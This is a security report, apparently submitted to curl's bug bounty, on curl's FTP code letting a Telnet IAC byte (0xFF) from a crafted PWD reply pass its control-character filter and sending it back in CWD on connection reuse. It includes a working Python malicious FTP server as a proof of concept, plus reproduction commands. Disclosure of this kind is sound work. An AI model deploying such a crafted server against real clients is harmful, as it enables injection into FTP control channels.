curl · Report #3650473
FTP entrypath accepts 0xFF (Telnet IAC) through incomplete ISCNTRL filter, sent on wire via CWD on connection reuse
How it was found
Summary
A malicious FTP server can embed byte 0xFF (Telnet IAC) in the PWD response path. The ISCNTRL() filter at lib/ftp.c:3095 expands to ISLOWCNTRL(x) || IS7F(x), which is ((unsigned char)(x) <= 0x1f) || ((x) == 0x7f) (defined at lib/curl_ctype.h:30-37). (unsigned char)(0xFF) is 255, so ISCNTRL(0xFF) evaluates FALSE. The byte is stored in ftpc->entrypath (line 3131) and sent verbatim via CWD %s on connection reuse (line 849).
I understand the KNOWN_RISK.md and libcurl-security.md mentions the Remote attacker already present and malicious FTP server risks but I also saw that https://curl.se/docs/CVE-2020-8284.html and wasn't really able to differentiate hence submitting this report.
import socket, threading
def data_serve():
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 2122)); s.listen(5)
while True:
c, _ = s.accept(); c.sendall(b"-rw-r--r-- 1 ftp ftp 0 Jan 1 00:00 x\r\n"); c.close()
threading.Thread(target=data_serve, daemon=True).start()
def serve():
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 2121)); s.listen(1); c, _ = s.accept()
c.sendall(b"220 ok\r\n")
while True:
d = c.recv(4096)
if b"USER" in d: c.sendall(b"331 ok\r\n")
elif b"PASS" in d: c.sendall(b"230 ok\r\n")
elif b"PWD" in d: c.sendall(b'257 "/evil\xff/dir"\r\n')
elif b"CWD" in d:
print(f"CWD received: {d!r}"); c.sendall(b"250 ok\r\n")
elif b"EPSV" in d: c.sendall(b"229 Entering Extended Passive Mode (|||2122|)\r\n")
elif b"TYPE" in d: c.sendall(b"200 ok\r\n")
elif b"LIST" in d: c.sendall(b"150 ok\r\n226 ok\r\n")
elif b"QUIT" in d: c.sendall(b"221 ok\r\n"); break
else: c.sendall(b"500 ok\r\n")
c.close(); s.close()
serve()
Affected version
Tested on both macOS (Darwin) and Linux (Docker):
curl 8.20.0-DEV (Darwin) libcurl/8.20.0-DEV OpenSSL/3.6.1 zlib/1.2.12 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 nghttp2/1.68.0
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz SSL threadsafe TLS-SRP UnixSockets zstd
Git HEAD 38b626e790. Also confirmed on 8.19.0 stable (Linux).
Steps To Reproduce
-
Run the Python script above in one terminal.
-
In another terminal, make two requests on the same connection:
./curl -v --ftp-pasv ftp://anonymous:[email protected]:2121/ ftp://anonymous:[email protected]:2121/sub/
- Verbose output shows curl accepting the path and reusing the connection:
< 257 "/evilÿ/dir" is current directory
* Entry path is '/evilÿ/dir'
...
* Reusing existing ftp: connection with host 127.0.0.1
> CWD /evilÿ/dir
- The Python server prints:
CWD received: b'CWD /evil\xff/dir\r\n'— literal 0xFF at byte offset 9.
The CWD to entrypath only fires on connection reuse (gated by data->conn->bits.reuse && ftpc->entrypath at line 841). The entire range 0x80-0xFF passes the ISCNTRL filter, including 0xFF which is the Telnet IAC (Interpret As Command) byte. FTP's control channel is built on Telnet, so a Telnet-aware intermediary (FTP proxy, ALG, protocol-level firewall) may interpret the 0xFF as a Telnet escape sequence.
Impact
A malicious FTP server injects Telnet IAC bytes into the FTP command channel via a crafted PWD path, which curl stores and sends back verbatim in CWD on connection reuse.